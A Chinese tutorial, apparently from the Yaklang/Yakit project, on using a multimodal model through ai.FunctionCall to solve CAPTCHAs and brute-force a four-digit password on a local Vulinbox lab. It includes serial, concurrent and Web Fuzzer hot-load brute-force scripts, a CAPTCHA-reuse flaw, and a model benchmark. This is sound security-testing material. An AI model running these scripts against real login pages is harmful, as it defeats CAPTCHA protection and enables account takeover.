• 适用场景： 已获授权的内部渗透测试、验证码逻辑验证和安全工具研发。
• 实现方法： 使用 ai.FunctionCall 与 ai.imageBase64 提取验证码，再分别接入基础脚本、并发任务和 Web Fuzzer 热加载流程。
• 关键结论： Yaklang 可以在不单独维护 OCR 服务的情况下完成图像识别与请求编排，但测试范围和并发强度必须遵循授权边界。

常见问题​

是否必须额外部署 OCR 服务？​

不需要。文中的方案通过已配置的 Yakit AI 网关调用多模态模型，并让模型按指定字段返回验证码文本。

这个流程可以用于任意网站吗？​

不可以。验证码识别和登录测试只能用于自有系统、靶场或已经获得明确授权的目标。

打开一个后台管理系统，一般来说可能仅仅是一个登录框。用户名、密码、验证码——三个输入框，一个提交按钮。密码可以爆破，用户名可以枚举，但验证码这个东西，一直是渗透测试中一个绕不开的拦路虎。

传统的解决思路无外乎几种：

1.使用 ddddocr 等开源 OCR 库，部署一套 Python 服务来识别验证码。问题在于，需要额外维护一套 Python 环境，模型对复杂验证码的识别率也不稳定，遇到扭曲、干扰线多的验证码就容易翻车。

2.接码平台。花钱买识别结果，成本不低，还有延迟问题。对于内部渗透测试这种不方便把数据外传的场景，也存在合规风险。

3.手动绕过。找逻辑漏洞、看验证码是否绑定 session、是否可以复用——运气好的时候管用，运气不好就只能干瞪眼。

这几种方式的共同问题是：要么成本高，要么不够通用，要么依赖外部环境。

那么在 AI 时代，有没有一种更直接的方式，不需要额外部署服务，不需要花钱买接码，直接在 Yaklang 里几行代码就能解决验证码识别？

实际上，Yaklang 的ai模块提供了ai.FunctionCall这个函数，配合 ai.imageBase64，可以让大模型直接"看懂"验证码图片，并把识别结果以结构化数据的形式返回给我们。不用训练模型，不用部署额外服务，Yakit 中配好了 AI 网关之后，几行代码就够了。

在本文中，我们将会以一个真实的验证码靶场为案例，完整演示一套递进的方案：

1.先用一个 Yak 脚本自动化爆破验证码保护的登录表单，在这个过程中顺手发现一个验证码逻辑漏洞。

2.然后面对正确实现的验证码（每次提交后立即作废），分别编写基础版和并发版爆破脚本。

3.再通过 Web Fuzzer 热加载方案，把验证码识别直接集成到 Yakit 的 GUI 操作流中。

4.最后用 Benchmark 测试，用数据说明 AI 识别验证码的成功率到底有多高

当然本篇内容的靶场和使用案例也并不是空想，而是来源于真实案例的总结和抽象。

一、准备工作

认识靶场：验证码 + 四位密码

我们的测试目标是 Vulinbox中的一个验证码场景，运行在 http://127.0.0.1:8787/verification/op。​

你好，这儿有一篇超级秘密的文章，但是你需要输入验证码和密码。

密码差不多是四位数字，但是为了防止你爆破加了验证码，所以你得想点办法。

页面很直白：一张验证码图片、一个验证码输入框、一个密码输入框。页面上还贴心地告诉我们——"密码差不多是四位数字，但是是为了防止你爆破加了验证码，所以你得想点办法"。

那么我们先来梳理一下这个验证码服务的完整交互流程：

分析一下关键要点：

1.验证码与 Session 绑定。每次 GET /verification/op 都会生成一个新的 YSESSIONID，验证码图片通过 /verification/code 获取时才会真正生成 captcha.Data 并绑定到 session 上。

2.密码空间有限。密码是启动时随机生成的四位数字，范围 0000-9999，总共 10000 种可能。如果没有验证码拦截，暴力枚举并不是什么难事。

3.核心矛盾很清楚。要爆破密码，就必须同时解决验证码问题——每次尝试一个密码，都需要先获取一张验证码图片、识别它、然后和密码一起提交。

那么接下来的问题就变成了：如何高效且准确地识别每一张验证码？

认识ai.FunctionCall:让AI提取结构化数据

在动手写爆破脚本之前，我们先来了解一下核心武器——ai.FunctionCall。

ai.FunctionCall 是 Yaklang ai 模块中的一个函数，做的事情很直接：给 AI 一段输入（文字或图片），告诉它期望的输出格式，它就会返回对应格式的结构化数据。

为什么我们要关心这个函数？因为传统的 OCR 方案说白了是模式匹配——用训练好的模型去匹配字符形状。而 ai.FunctionCall 走的是一条不同的路线：它让大模型去"理解"图片内容，然后按照我们指定的格式返回结果。大模型在图像理解上的能力远超传统 OCR，尤其面对有扭曲、干扰线、颜色混淆的验证码时，识别率要高出不少。

那么如何使用它？我们直接看代码：

result, err = ai.FunctionCall(
    `执行数据标注任务，从图片中提取展示内容文本，放置在结果中`,
    {"code": "从图片中提取的验证码类似的内容"},
    ai.imageBase64(imageBase64Data),
)
captchaText = result["code"]

三个参数分别是：

1.自然语言指令。告诉 AI 要做什么。这里我们让它"从图片中提取展示内容文本"。指令写得越清晰，结果越准确。

2.期望输出结构。一个 map，key 是字段名，value 是对这个字段的自然语言描述。AI 会按照这个结构返回结果。在这里我们只需要一个 code字段，用来存放识别出的验证码文本。

3.图片数据。通过 ai.imageBase64() 传入 Base64 编码的图片。Yaklang 还支持 ai.imageFile() 直接传文件路径、ai.imageRaw() 传原始字节，用哪个看场景。

返回值 result 是一个 map[string]any，直接用 result["code"] 就能拿到识别出的验证码文本。

理解了这个接口之后，我们就可以开始组装爆破脚本了。

二、脚本实战

脚本实战：一个脚本干掉验证码服务

先看完整的爆破流程：

长图已折叠点击展开

这里有一个细节值得注意：在实际测试中我们发现，这个靶场的验证码在密码错误后并不会刷新——同一个 session 里的验证码是可以复用的。因此最优的策略是：先识别一次验证码，然后用同一个验证码快速遍历所有密码；只有当验证码识别失败时（服务端返回 verification code not match），才需要重新获取 session 和验证码。

这意味着我们只需要调用一次（或很少几次）AI，就可以完成整个爆破。

接下来是完整的 Yak 脚本：

target = "http://127.0.0.1:8787"
// 封装获取 session + 识别验证码的逻辑
getSessionAndCaptcha = func() {
    rsp, _, err = poc.Get(target + "/verification/op")
    die(err)
    sessionCookie = poc.GetHTTPPacketCookie(rsp.RawPacket, "YSESSIONID")

    codeRsp, _, err = poc.Get(
        target + "/verification/code",
        poc.header("Cookie", sprintf("YSESSIONID=%v", sessionCookie)),
    )
    die(err)

    imageBase64 = codec.EncodeBase64(codeRsp.GetBody())
    result, err = ai.FunctionCall(
        `执行数据标注任务，从图片中提取展示内容文本，放置在结果中`,
        {"code": "从图片中提取的验证码类似的内容"},
        ai.imageBase64(imageBase64),
    )
    die(err)

    captchaCode = result["code"]
    log.info("new session: %v, recognized captcha: %v", sessionCookie, captchaCode)
    return sessionCookie, captchaCode
}
cookie, captcha = getSessionAndCaptcha()
for i = 0; i < 10000; i++ {
    passStr = sprintf("%04d", i)
    log.info("trying password: %v with captcha: %v", passStr, captcha)

    submitRsp, _, err = poc.Post(
        target + "/verification/op",
        poc.header("Cookie", sprintf("YSESSIONID=%v", cookie)),
        poc.replacePostParam("code", captcha),
        poc.replacePostParam("password", passStr),
    )
    if err != nil {
        log.error("submit failed: %v", err)
        cookie, captcha = getSessionAndCaptcha()
        continue
    }

    body = string(submitRsp.GetBody())

    // 验证码被拒绝，说明识别错了，重新获取
    if body.Contains("verification code not match") {
        log.warn("captcha was wrong, getting new session and captcha...")
        cookie, captcha = getSessionAndCaptcha()
        i--
        continue
    }

    // 验证码正确但密码错误，继续下一个密码
    if body.Contains("密码错误") {
        continue
    }

    // 既没有验证码错误也没有密码错误，说明成功了
    log.info("SUCCESS! password is: %v", passStr)
    println(body)
    break
}

我们来看这个脚本的几个关键点：

1.Session 与验证码一起获取。我们把获取 session、拉验证码图片、AI 识别封装成一个函数 getSessionAndCaptcha，需要的时候调一次就行。

2.验证码可以复用。这个靶场在密码错误后不会刷新验证码，因此识别一次就够了。只有当验证码本身识别错了（服务端返回 verification code not match），才需要重新获取。这个发现让爆破效率大幅提升——从每次密码都要调 AI，变成只调用一次。

3.AI识别的调用很简洁**。codec.EncodeBase64 编码、ai.FunctionCall 识别、result["code"] 取结果，三步完成。

4.容错处理。验证码错误时 i-- 回退计数器，确保不跳过任何密码。

在笔者的实际测试中，AI 识别出验证码后服务端接受，快速遍历密码，大约 20 秒内就命中了正确密码。

验证码逻辑漏洞：未删除旧数据​

Wait a Minute，事情还没结束。​

细心的读者可能已经注意到了上面脚本中一个不太对劲的地方——我们只识别了一次验证码，就可以用它遍历所有 10000 个密码。这意味着什么？

我们回头看服务端的行为：密码错误后，验证码没有被刷新，session 里的 captcha 数据还在。这实际上是一个验证码逻辑漏洞——验证码在使用后没有被删除，可以无限复用。

在真实的渗透测试中，这种逻辑漏洞并不少见。后端开发者可能只在验证码不匹配时刷新验证码，却忽略了"验证码正确但密码错误"这个分支。结果就是：攻击者只需要识别一次验证码，就等于验证码保护形同虚设。

这个漏洞虽然降低了我们的爆破难度，但在实战中我们更常面对的是正确实现的验证码——每次提交后验证码立即作废，无论对错。

那么面对这种更严格的验证码保护，我们的 AI 方案还能不能扛住？

三、安全版验证码:每次提交后立即作废

在 Vulinbox 中，我们同样准备了一个安全实现的验证码场景，运行在 /verification/safe/op。和前面的漏洞版本相比，安全版本做了一个关键的改动：​

每次 POST 提交后，无论验证码对错、密码对错，session 中的验证码数据都会被立即删除。

这意味着攻击者每尝试一个密码，都必须重新获取验证码图片、重新 AI 识别。没有任何捷径可走。

那么我们应该怎么处理这种情况？

基础版：串行爆破​

最直接的思路——每次密码尝试都走一遍完整流程：获取 session → 获取验证码 → AI 识别 → 提交。逻辑清晰，代码简洁，适合理解整个工作流程。

target = "http://127.0.0.1:8787"
cookieName = "YSESSIONID_SAFE"
for i = 0; i < 10000; i++ {
    passStr = sprintf("%04d", i)

    rsp, _, err = poc.Get(target + "/verification/safe/op")
    if err != nil { log.error("get page failed: %v", err); continue }
    cookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)

    codeRsp, _, err = poc.Get(target + "/verification/safe/code", poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)))
    if err != nil { log.error("get captcha failed: %v", err); continue }

    imageBase64 = codec.EncodeBase64(codeRsp.GetBody())
    result, err = ai.FunctionCall(`执行数据标注任务，从图片中提取展示内容文本，放置在结果中`, {"code": "从图片中提取的验证码类似的内容"}, ai.imageBase64(imageBase64))
    if err != nil { log.error("ai failed: %v", err); continue }
    captchaCode = result["code"]

    log.info("trying password: %v, captcha: %v", passStr, captchaCode)

    submitRsp, _, err = poc.Post(target + "/verification/safe/op", poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)), poc.replacePostParam("code", captchaCode), poc.replacePostParam("password", passStr))
    if err != nil { log.error("submit failed: %v", err); continue }

    body = string(submitRsp.GetBody())
    if body.Contains("verification code not match") {
        log.warn("captcha wrong, will retry this password")
        i--
        continue
    }
    if !body.Contains("密码错误") {
        log.info("SUCCESS! password is: %v", passStr)
        println(body)
        break
    }
}

这个脚本的逻辑和前面漏洞版本的区别在于：每次循环都是一个完整的独立流程。不存在验证码复用，每一次密码尝试都必须先让 AI 看一遍新的验证码图片。

基础版的问题也很明显——串行执行，每次密码尝试大约需要 2 秒（主要是 AI 调用的延迟）。遍历 10000 个密码理论上需要 5 个多小时。对于渗透测试来说，这个速度有些不够看。

那么有什么办法加速？

进阶版：并发爆破

既然每次密码尝试都是一个独立的 session，互不干扰，那我们完全可以并行执行多个尝试。用多个 worker 同时发起独立的 session、独立识别验证码、独立提交，密码空间被自然地分摊到各个 worker 上。

长图已折叠点击展开

并发版脚本如下：

target = "http://127.0.0.1:8787"
cookieName = "YSESSIONID_SAFE"
concurrency = 5
found = false
foundPass = ""
tryPassword = func(passStr) {
    for retries = 0; retries < 3; retries++ {
        if found { return }

        rsp, _, err = poc.Get(target + "/verification/safe/op")
        if err != nil { log.error("get page failed: %v", err); continue }
        cookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)

        codeRsp, _, err = poc.Get(target + "/verification/safe/code", poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)))
        if err != nil { log.error("get captcha failed: %v", err); continue }

        imageBase64 = codec.EncodeBase64(codeRsp.GetBody())
        result, err = ai.FunctionCall(`执行数据标注任务，从图片中提取展示内容文本，放置在结果中`, {"code": "从图片中提取的验证码类似的内容"}, ai.imageBase64(imageBase64))
        if err != nil { log.error("ai failed: %v", err); continue }
        captchaCode = result["code"]

        log.info("trying password: %v, captcha: %v", passStr, captchaCode)

        submitRsp, _, err = poc.Post(target + "/verification/safe/op", poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)), poc.replacePostParam("code", captchaCode), poc.replacePostParam("password", passStr))
        if err != nil { log.error("submit failed: %v", err); continue }

        body = string(submitRsp.GetBody())
        if body.Contains("verification code not match") {
            log.warn("captcha wrong for password %v, retrying (%d/3)...", passStr, retries+1)
            continue
        }
        if !body.Contains("密码错误") {
            found = true
            foundPass = passStr
            log.info("SUCCESS! password is: %v", passStr)
        }
        return
    }
}
swg = sync.NewSizedWaitGroup(concurrency)
for i = 0; i < 10000; i++ {
    if found { break }
    passStr = sprintf("%04d", i)
    swg.Add()
    go func {
        defer swg.Done()
        tryPassword(passStr)
    }
}
swg.Wait()
if found {
    log.info("brute force completed, password: %v", foundPass)
} else {
    log.info("brute force completed, password not found")
}

并发版的几个关键设计：

1.sync.NewSizedWaitGroup(5) 控制并发数。5 个 worker 同时跑，吞吐量提升到串行版的约 5 倍。可以根据 AI 接口的并发限制灵活调整。

2.每个 goroutine 完全独立。独立的 session、独立的验证码、独立的 AI 识别——session 之间没有任何状态共享，天然适合并发。

3.验证码识别失败自动重试。tryPassword内部有最多 3 次重试，避免因为偶尔的 AI 识别失误就跳过某个密码。

4.全局found标志。任何一个 worker 成功后，其他 worker 会在下一轮循环前检查到 found 标志并退出。

在笔者的测试中，5 个并发 worker 大约每秒可以尝试 2-3 个密码。相比串行版的每 2 秒一个密码，效率提升显著。

四、进阶：热加载方案嵌入Web Fuzzer

脚本方案已经可以工作了，但如果我们想在 Yakit 的 Web Fuzzer 中更灵活地使用呢？

比如说，我们已经在 Web Fuzzer 里构造好了请求数据包，密码字段用了 {{int(0000-9999|4)}} 来枚举，但验证码字段怎么办？总不能手动一个一个填吧。

这时候 Web Fuzzer 的热加载就派上用场了。热加载允许我们编写一段 Yak 代码，在每个请求发出之前对请求内容进行修改。我们只需要定义一个 beforeRequest 函数，Web Fuzzer 在发出每个请求前会自动调用它。

热加载入口的标准签名是：

// beforeRequest 允许在每次发送数据包前对请求做最后的处理
// https     - 请求是否为 https 请求
// originReq - 原始请求（未经过 Fuzzer 标签渲染）
// req       - 即将发送的请求（已经过 Fuzzer 标签渲染）
beforeRequest = func(https, originReq, req) {
    return req
}

思路：每次请求都换一套 Session + 验证码​

在前面的脚本实战中我们已经验证：安全版验证码每次提交都会作废，所以 Web Fuzzer 中如果想爆破密码，每个请求都必须配一对全新的(session, 验证码)**。简单复用模板里的 Cookie 是行不通的。​

那么 beforeRequest 里要做的事情就清楚了：

1.现场获取一个新的 session。GET /verification/safe/op 拿到 Set-Cookie: YSESSIONID_SAFE=xxx

2.用这个 session 拉验证码图片。GET /verification/safe/code 携带刚拿到的 Cookie

3.AI识别验证码4.改写传入的请求**：把请求中的 YSESSIONID_SAFE Cookie 替换为新的，把 POST 参数 code 替换为识别结果

5.返回改写后的请求，密码字段保持 Fuzzer 标签自然枚举

Web Fuzzer 的请求模板​

请求模板就是一个最普通的 POST 表单提交，验证码字段用占位值 temp（反正会被热加载覆盖），密码字段用 Fuzzer 标签 {{int(0000-9999|4)}} 来枚举。Cookie 也填一个占位值，热加载会替换掉它：​

POST /verification/safe/op HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/x-www-form-urlencoded
Cookie: YSESSIONID_SAFE=PLACEHOLDER
code=temp&password={{int(0000-9999|4)}}

完整的热加载代码（v1：单次识别）​

我们先把上面四步落到代码上。注意，下面这段是第一版——只处理"识别一次"的情况，识别错了直接吃下去：

target = "http://127.0.0.1:8787"
cookieName = "YSESSIONID_SAFE"
beforeRequest = func(https, originReq, req) {
    // 1. 获取一个全新的 session
    rsp, _, err = poc.Get(target + "/verification/safe/op")
    if err != nil {
        log.error("get session failed: %v", err)
        return req
    }
    newCookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)

    // 2. 用这个 session 拉一张验证码图片
    codeRsp, _, err = poc.Get(
        target + "/verification/safe/code",
        poc.header("Cookie", sprintf("%v=%v", cookieName, newCookie)),
    )
    if err != nil {
        log.error("get captcha failed: %v", err)
        return req
    }

    // 3. AI 识别
    imageBase64 = codec.EncodeBase64(codeRsp.GetBody())
    result, err = ai.FunctionCall(
        `执行数据标注任务，从图片中提取展示内容文本，放置在结果中`,
        {"code": "从图片中提取的验证码类似的内容"},
        ai.imageBase64(imageBase64),
    )
    if err != nil {
        log.error("ai recognize captcha failed: %v", err)
        return req
    }
    captchaCode = result["code"]
    log.info("recognized captcha: %v", captchaCode)

    // 4. 改写请求：替换 Cookie 和 code 字段
    req = poc.ReplaceHTTPPacketCookie(req, cookieName, newCookie)
    req = poc.ReplaceHTTPPacketPostParam(req, "code", captchaCode)
    return req
}

四步对应得很整齐：拉session、拉验证码、AI 识别、改写请求。poc.ReplaceHTTPPacketCookie 和 poc.ReplaceHTTPPacketPostParam 这两个函数会自动处理 Content-Length 等细节，我们不用手动维护。

把这段贴到 Web Fuzzer 里跑一下，会看到一个尴尬的现象——

不少请求的响应都是verification code not match。这正是前面Benchmark 章节里 57% 单次识别率的直接体现：每 10个 请求里，大约会有 4 个因为 AI 没认对验证码而被服务端拒掉，密码相当于白试了。

那么我们要怎么处理这种情况？

配合重试：retryHandler

Web Fuzzer 的热加载除了 beforeRequest，还提供了另外两个非常关键的钩子：​

这个钩子刚好就是为我们这个场景准备的。思路立刻就出来了：

**1.retryHandler**重新走一遍"拉 session → 拉验证码 → AI 识别 → 改写请求"，然后调用 retry(newReq) 用新请求重试。

那么有一个问题——beforeRequest 和 retryHandler 都需要"拉 session → AI 识别 → 改写请求"这同一段逻辑。直接复制粘贴当然能跑，但代码就重复了。我们把这段公共逻辑抽成一个函数 recognizeAndPatch(req)：

完整的热加载代码（v2：带重试）​

target = "http://127.0.0.1:8787"
cookieName = "YSESSIONID_SAFE"
maxRetry = 6  // 单次成功率 ~57%，6 次重试覆盖 99% 以上
// === 公共函数：拉 session、AI 识别验证码、改写传入的请求 ===
recognizeAndPatch = func(req) {
    rsp, _, err = poc.Get(target + "/verification/safe/op")
    if err != nil {
        log.error("get session failed: %v", err)
        return req
    }
    newCookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)
    codeRsp, _, err = poc.Get(
        target + "/verification/safe/code",
        poc.header("Cookie", sprintf("%v=%v", cookieName, newCookie)),
    )
    if err != nil {
        log.error("get captcha failed: %v", err)
        return req
    }
    imageBase64 = codec.EncodeBase64(codeRsp.GetBody())
    result, err = ai.FunctionCall(
        `执行数据标注任务，从图片中提取展示内容文本，放置在结果中`,
        {"code": "从图片中提取的验证码类似的内容"},
        ai.imageBase64(imageBase64),
    )
    if err != nil {
        log.error("ai recognize captcha failed: %v", err)
        return req
    }
    captchaCode = result["code"]
    log.info("session=%v, captcha=%v", newCookie, captchaCode)
    req = poc.ReplaceHTTPPacketCookie(req, cookieName, newCookie)
    req = poc.ReplaceHTTPPacketPostParam(req, "code", captchaCode)
    return req
}
// === HOOK：beforeRequest —— 每个新请求发出前先识别一次 ===
beforeRequest = func(https, originReq, req) {
    return recognizeAndPatch(req)
}
// === HOOK：retryHandler —— 重试时重新识别一次再发 ===
retryHandler = func(https, retryCount, req, rsp, retry) {
    if retryCount > maxRetry {
        log.Error("Recog error for code")
        return
    }
    body = string(poc.GetHTTPPacketBody(rsp))
    if body.Contains("verification code not match") {
        newReq = recognizeAndPatch(req)
        retry(newReq)
    }
}

四个关键点：

1.公共函数recognizeAndPatch(req)**。把"换 session + AI 识别 + 改写请求"封装成一个纯函数，接收原请求、返回新请求。beforeRequest和retryHandler 都调用它，逻辑只有一份。

**2.beforeRequest只剩一行。所有重活都委托给公共函数。

3.retryHandler重新识别后调retry。retryCount 是当前已经重试的次数，超过 maxRetry（这里设 6）就放弃。每次重试都重新拉一对全新的 (session, 验证码)，所以哪怕连续几次都被 AI 认错，也能继续往下重试。

为什么 maxRetry 设 6？回到 Benchmark 章节：单次成功率 ~57%，6 次重试累积成功率 99.37%。换句话说，1000 个密码里，最多只有 6 个会因为重试 6 次都失败而漏掉。这个比例完全可以接受。

五、调试与使用

调试：先在 YAK Runner 里跑一遍​

热加载代码贴到 Web Fuzzer 之前，最好先单独验证一下这两个钩子的联动是不是真的能打通。

这套涉及两个回调的逻辑要是直接上 Web Fuzzer 调起来非常麻烦。

这里先明确一下 retryHandler的调度语义：只要热加载里定义了retryHan``dler，Web Fuzzer 每个请求发完都会把响应交给它，是否真的重试完全由 retryHandler自己决定——

• 如果它调用了retry(newReq)，Web Fuzzer 就用 newReq再发一次（并把retryCount + 1 再丢进来）；
• 如果它直接 return（不调 retry），这次请求就算结束，不会重试。

换句话说，"失败判定"和"改写请求"都收敛在retryHandler一个函数里，不需要再去配 customFailureChecker 或 UI 上的失败关键字。这也是我们只用 beforeRequest + retryHandler 两个钩子就能闭环的原因。

我们直接用 YAK Runner 模拟 Web Fuzzer 的调用顺序：先调 beforeRequest拿到改写过的请求 → 实际发出 → 把响应交给 retryHandler → 如果 retryHandler 决定重试，再实际发一次。

target = "http://127.0.0.1:8787"
cookieName = "YSESSIONID_SAFE"
maxRetry = 6
template = `POST /verification/safe/op HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/x-www-form-urlencoded
Cookie: YSESSIONID_SAFE=PLACEHOLDER
code=temp&password=0000`
// === 下面这一段（公共函数 + 两个钩子）就是要粘贴到 Web Fuzzer 里的代码 ===
recognizeAndPatch = func(req) {
    rsp, _, err = poc.Get(target + "/verification/safe/op")
    if err != nil { log.error("get session failed: %v", err); return req }
    newCookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)
    codeRsp, _, err = poc.Get(
        target + "/verification/safe/code",
        poc.header("Cookie", sprintf("%v=%v", cookieName, newCookie)),
    )
    if err != nil { log.error("get captcha failed: %v", err); return req }
    imageBase64 = codec.EncodeBase64(codeRsp.GetBody())
    result, err = ai.FunctionCall(
        `执行数据标注任务，从图片中提取展示内容文本，放置在结果中`,
        {"code": "从图片中提取的验证码类似的内容"},
        ai.imageBase64(imageBase64),
    )
    if err != nil { log.error("ai failed: %v", err); return req }
    captchaCode = result["code"]
    log.info("session=%v, captcha=%v", newCookie, captchaCode)
    req = poc.ReplaceHTTPPacketCookie(req, cookieName, newCookie)
    req = poc.ReplaceHTTPPacketPostParam(req, "code", captchaCode)
    return req
}
beforeRequest = func(https, originReq, req) {
    return recognizeAndPatch(req)
}
retryHandler = func(https, retryCount, req, rsp, retry) {
    if retryCount > maxRetry {
        log.error("captcha recognize retry exceeded: %v", retryCount)
        return
    }
    body = string(poc.GetHTTPPacketBody(rsp))
    if body.Contains("verification code not match") {
        newReq = recognizeAndPatch(req)
        retry(newReq)
    }
}
// ============ 调试入口：模拟 Web Fuzzer 的调用链 ============
log.info("=== Step 1: beforeRequest ===")
req1 = beforeRequest(false, []byte(template), []byte(template))
println(string(req1))
log.info("=== Step 2: send req1 ===")
rsp1, _, err = poc.HTTP(req1, poc.host("127.0.0.1"), poc.port(8787))
die(err)
println(string(rsp1))
log.info("=== Step 3: retryHandler ===")
// 用一个闭包模拟 Web Fuzzer 传进来的 retry 回调：
// retryHandler 调用 retry(newReq) 时，把 newReq 捕获下来；不调则 retryReq 保持为空。
retryReq = []byte("")
retry = func(reqs...) {
    if len(reqs) > 0 { retryReq = reqs[0] }
}
retryHandler(false, 1, req1, rsp1, retry)
if len(retryReq) == 0 {
    log.info("retryHandler decided NOT to retry - step 1 already succeeded (no captcha mismatch)")
    return
}
log.info("=== Step 4: send retry request ===")
rsp2, _, err = poc.HTTP(retryReq, poc.host("127.0.0.1"), poc.port(8787))
die(err)
println(string(rsp2))
body2 = string(poc.GetHTTPPacketBody(rsp2))
if body2.Contains("verification code not match") {
    log.warn("retry STILL FAILED - Web Fuzzer will keep calling retryHandler until maxRetry")
} else {
    log.info("RETRY SUCCESS: captcha recognized correctly, full hook chain works end-to-end")
}

这个调试脚本会出现两种情况，对应 retryHandler 的两条分支：

1.第一次就识别正确：Step 2 的响应体里不包含 verification code not match，retryHandler 里的 if 条件不成立，不会调用retry**，retryReq 保持为空。脚本在 Step 3 之后就 return 了——这正是"一次过"的情况。

2.第一次识别错误：Step 2 的响应体里包含 verification code not match，retryHandler 内部重新调 recognizeAndPatch 拿到一对新的 (session, 验证码)，然后 retry(newReq) 把新请求捕获到 retryReq 里；Step 4 实际发出去，看到 密码错误 之类的响应就说明两个钩子已经完整联动。

笔者实测时刚好命中了第二种情况：第一次识别 sdgq 错了，retryHandler 在第二次用 b8Ez 通过了校验，整套钩子按预期串起来。具体实际测试效果应该如图日志所展示的类似：

在 Web Fuzzer 中使用​

调试通过之后，回到 Web Fuzzer：

1.把上面"v2 完整热加载代码"整段粘贴到热加载编辑器；

2.在请求模板中，按"Web Fuzzer 的请求模板"那一节的格式填入数据包，密码字段用 {{int(0000-9999|4)}}，Cookie 写一个占位值即可（真正的值会由 beforeRequest 覆盖掉）；

3.打开重试开关——这是让 Web Fuzzer 进入重试调度、从而调用 retryHandler 的前提。UI 上的"重试次数"建议填 6 跟 maxRetry 保持一致；不过注意，配置了 retryHandler 之后，真正的终止条件其实是 retryHandler 内部的 retryCount > maxRetry 判断，UI 数值更多是给人看的语义对齐；

4.配置好并发数（建议 5-10），点击发送。

【配图：Web Fuzzer 爆破过程中的结果列表截图，展示成功命中的请求和被自动重试的请求】

跑起来之后能看到，相比 v1 版本，响应里 verification code not match 的请求会被 retryHandler 拦下来、换一对全新的 (session, 验证码) 之后自动重发，最终落到结果列表里的几乎都是有效的密码错误或者最终命中的 secret 页面，AI 识别失败的密码不再被白白浪费。

热加载方案的优势在于，验证码识别的逻辑和 Web Fuzzer 的爆破能力直接打通了。我们不需要自己写爆破循环、不需要自己管理并发和重试，只需要关注"如何识别验证码"这一件事，剩下的并发控制、字典管理、重试调度、结果展示都交给 Web Fuzzer。整套方案只用到了 beforeRequest 和 retryHandler 两个钩子，失败判定被收敛在 retryHandler 里，没有引入额外的失败检测机制。

并且这段热加载代码是可以复用的——换一个目标，只需要改一下 target、cookieName、验证码图片的路径以及 retryHandler 里的失败关键字（verification code not match），核心的 AI 识别逻辑完全不用动。

六、AI模型识别验证码

方案跑通了，下一个该回答的问题：AI 识别验证码的准确率到底有多少？选哪个模型？

热加载里我们写的是 ai.FunctionCall(..., ai.model("xxx"))，换模型就是改一行字符串。所以"选哪个模型"本质就是一次横向 Benchmark——比的东西也很直白：单次成功率、耗时、价格。

Benchmark 脚本​

笔者用 vulinbox 的安全版验证码做对比。

/verification/safe/op 这条路径每次 POST 校验后会立刻把验证码从 session 里删掉（delete(val, "code")），验证码用一次即废。下次必须拉全新的一对 (session, 验证码)，和 Web Fuzzer 里每次爆破请求的工作方式一致。

服务端对"验证码不对"的回包是精确的字符串 verification code not match，单次失败的判定直接看这个就行。

核心逻辑和前面热加载里的 recognizeAndPatch 相同。唯一差别：把识别出来的 code 配合故意错的密码 0000 提交给 /verification/safe/op，然后看响应里有没有 verification code not match——

• 没有 → AI 认对了（服务端进入"密码错误"分支）
• 有 → AI 认错了

把单次流程塞进 sized-wait-group，就成了一个可并发的 Benchmark runner：

target     = cli.String("target",     cli.setDefault("http://127.0.0.1:8787"))
modelName  = cli.String("model",      cli.setDefault("memfit-vision-free"))
total      = cli.Int("total",         cli.setDefault(300))
concurrent = cli.Int("concurrent",    cli.setDefault(10))
cli.check()
cookieName = "YSESSIONID_SAFE"
mu = sync.NewMutex()
successCount := 0
captchaFailCount := 0
aiErrCount := 0
costs := []
swg = sync.NewSizedWaitGroup(concurrent)
for i := 0; i < total; i++ {
    swg.Add()
    idx := i
    go func {
        defer swg.Done()
        // 1) 拉 session + 拉验证码
        rsp, _, err := poc.Get(target + "/verification/safe/op")
        if err != nil { return }
        cookie := poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)
        codeRsp, _, err := poc.Get(
            target + "/verification/safe/code",
            poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)),
        )
        if err != nil { return }
        // 2) AI 识别，用 ai.model 指定要测试的模型
        aiStart := time.Now()
        b64 := codec.EncodeBase64(codeRsp.GetBody())
        result, err := ai.FunctionCall(
            `执行数据标注任务，从图片中提取展示内容文本，放置在结果中`,
            {"code": "从图片中提取的验证码类似的内容"},
            ai.imageBase64(b64),
            ai.model(modelName),
            ai.funcCallRetryTimes(1),
        )
        costMs := time.Now().Sub(aiStart).Milliseconds()
        if err != nil {
            mu.Lock(); aiErrCount++; costs = append(costs, costMs); mu.Unlock()
            return
        }
        // 3) 提交：故意用错密码，让服务端走到验证码判定分支
        submitRsp, _, _ := poc.Post(
            target + "/verification/safe/op",
            poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)),
            poc.replacePostParam("code", sprint(result["code"])),
            poc.replacePostParam("password", "0000"),
        )
        mu.Lock()
        costs = append(costs, costMs)
        if str.Contains(string(submitRsp.GetBody()), "verification code not match") {
            captchaFailCount++
        } else {
            successCount++
        }
        mu.Unlock()
    }
}
swg.Wait()

脚本里几个需要说明的点：

• 单次成功率的分母只算 success + captcha_fail。AI 网关偶尔会给出 EOF 之类的错误（下面的结果里出现了 0~13 次），这些属于基础设施抖动，单独计到 ai_error，不进分母。
• 每轮只有两次 HTTP 加一次 AI 调用。session 独立，验证码用后即废，和 Web Fuzzer 真实爆破的工作流一致。
• ai.funcCallRetryTimes(1) 允许底层 JSON 解析失败时快速重试一次，避免模型偶尔返回不规范结构带来的噪声污染数据。

测试设置

• 目标：vulinbox /verification/safe/*（本地 127.0.0.1:8787）
• 每个模型 300 次独立识别
• 并发度 10
• ai.model("<模型名>") 切换模型，脚本其它部分不变

笔者选了六个 aibalance 网关上公开可用的模型，覆盖四条典型路线：通用 flash、视觉特化、大模型 no-thinking、超大规模。

• memfit-qwen3.5-flash-free
• memfit-qwen3.6-flash-free
• memfit-qwen3-vl-flash-free
• memfit-qwen3-vl-plus-free
• memfit-qwen3.6-plus-no-thinking-free
